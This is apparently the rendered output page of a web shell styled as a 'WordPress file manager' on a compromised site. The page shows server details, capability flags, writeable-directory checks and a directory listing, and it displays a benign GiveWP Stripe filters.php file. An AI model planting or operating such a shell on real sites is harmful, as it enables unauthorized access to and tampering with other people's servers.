$89 GRAYBYTE WORDPRESS FILE MANAGER $80

SERVER : premium201.web-hosting.com #1 SMP Wed Mar 26 12:08:09 UTC 2025
SERVER IP : 172.67.162.162 | ADMIN IP 216.73.216.51
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/home/bravetechrwanda/itiministry.org/plugins/give/includes/gateways/stripe/includes/

HOME
Current File : /home/bravetechrwanda/itiministry.org/plugins/give/includes/gateways/stripe/includes//filters.php
<?php
/**
 * Give - Stripe Core Frontend Filters
 *
 * @since 2.5.0
 *
 * @package    Give
 * @subpackage Stripe Core
 * @copyright  Copyright (c) 2019, GiveWP
 * @license    https://opensource.org/licenses/gpl-license GNU Public License
 */

// Exit, if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Use give_get_payment_transaction_id() first.
 *
 * Given a Payment ID, extract the transaction ID from Stripe and update the payment meta.
 *
 * @param string $payment_id Payment ID.
 *
 * @since 2.5.0
 *
 * @return string Transaction ID
 */
function give_stripe_get_payment_txn_id_fallback( $payment_id ) {

	$notes          = give_get_payment_notes( $payment_id );
	$transaction_id = '';

	foreach ( $notes as $note ) {
		if ( preg_match( '/^Stripe Charge ID: ([^\s]+)/', $note->comment_content, $match ) ) {
			$transaction_id = $match[1];
			update_post_meta( $payment_id, '_give_payment_transaction_id', $transaction_id );
			continue;
		}
	}

	return apply_filters( 'give_stripe_get_payment_txn_id_fallback', $transaction_id, $payment_id );
}

add_filter( 'give_get_payment_transaction_id-stripe', 'give_stripe_get_payment_txn_id_fallback', 10, 1 );
add_filter( 'give_get_payment_transaction_id-stripe_ach', 'give_stripe_get_payment_txn_id_fallback', 10, 1 );

/**
 * This function is used to add Stripe credentials to GiveWP form.
 *
 * @since 3.0.0 Return $form_html_tags instead of false when Stripe gateway isn't enabled
 * @since 2.7.0
 *
 * @param object $form           Form Object.
 *
 * @param array  $form_html_tags Form HTML tags.
 *
 * @return array|bool
 */
function give_stripe_form_add_data_tag_keys( $form_html_tags, $form ) {

	// Must have a Stripe payment gateway active.
    if ( ! give_stripe_is_any_payment_method_active()) {
        return $form_html_tags;
	}

	$publishable_key = give_stripe_get_publishable_key( $form->ID );
	$account_id      = give_stripe_get_connected_account_id( $form->ID );

	$form_html_tags['data-publishable-key'] = $publishable_key;
	$form_html_tags['data-account']         = $account_id;

	return $form_html_tags;
}

add_filter('give_form_html_tags', 'give_stripe_form_add_data_tag_keys', 0, 2);


Current_dir [ WRITEABLE ] Document_root [ NOT WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
1 Jan 1970 12.00 AM
root / root
0
admin
--
25 May 2026 4.20 PM
bravetechrwanda / bravetechrwanda
0755
deprecated
--
25 May 2026 4.20 PM
bravetechrwanda / bravetechrwanda
0755
payment-methods
--
25 May 2026 4.20 PM
bravetechrwanda / bravetechrwanda
0755
actions.php
2.063 KB
30 Jun 2020 5.49 AM
bravetechrwanda / bravetechrwanda
0644
class-give-stripe-checkout-session.php
2.914 KB
14 Apr 2021 10.49 PM
bravetechrwanda / bravetechrwanda
0644
class-give-stripe-customer.php
17.214 KB
20 May 2021 5.31 AM
bravetechrwanda / bravetechrwanda
0644
class-give-stripe-gateway.php
18.697 KB
17 Jun 2022 4.03 AM
bravetechrwanda / bravetechrwanda
0644
class-give-stripe-invoice.php
1.319 KB
31 Mar 2020 4.14 AM
bravetechrwanda / bravetechrwanda
0644
class-give-stripe-logger.php
3.813 KB
31 Mar 2020 4.14 AM
bravetechrwanda / bravetechrwanda
0644
class-give-stripe-payment-intent.php
4.779 KB
31 Mar 2025 11.17 PM
bravetechrwanda / bravetechrwanda
0644
class-give-stripe-payment-method.php
4.547 KB
31 Mar 2020 4.14 AM
bravetechrwanda / bravetechrwanda
0644
class-give-stripe-webhooks.php
4.374 KB
8 Jul 2022 3.27 AM
bravetechrwanda / bravetechrwanda
0644
filters.php
2.125 KB
16 Oct 2023 9.55 PM
bravetechrwanda / bravetechrwanda
0644
give-stripe-helpers.php
40.005 KB
22 May 2025 12.18 AM
bravetechrwanda / bravetechrwanda
0644
give-stripe-scripts.php
4.814 KB
31 Mar 2025 11.17 PM
bravetechrwanda / bravetechrwanda
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF Static GIF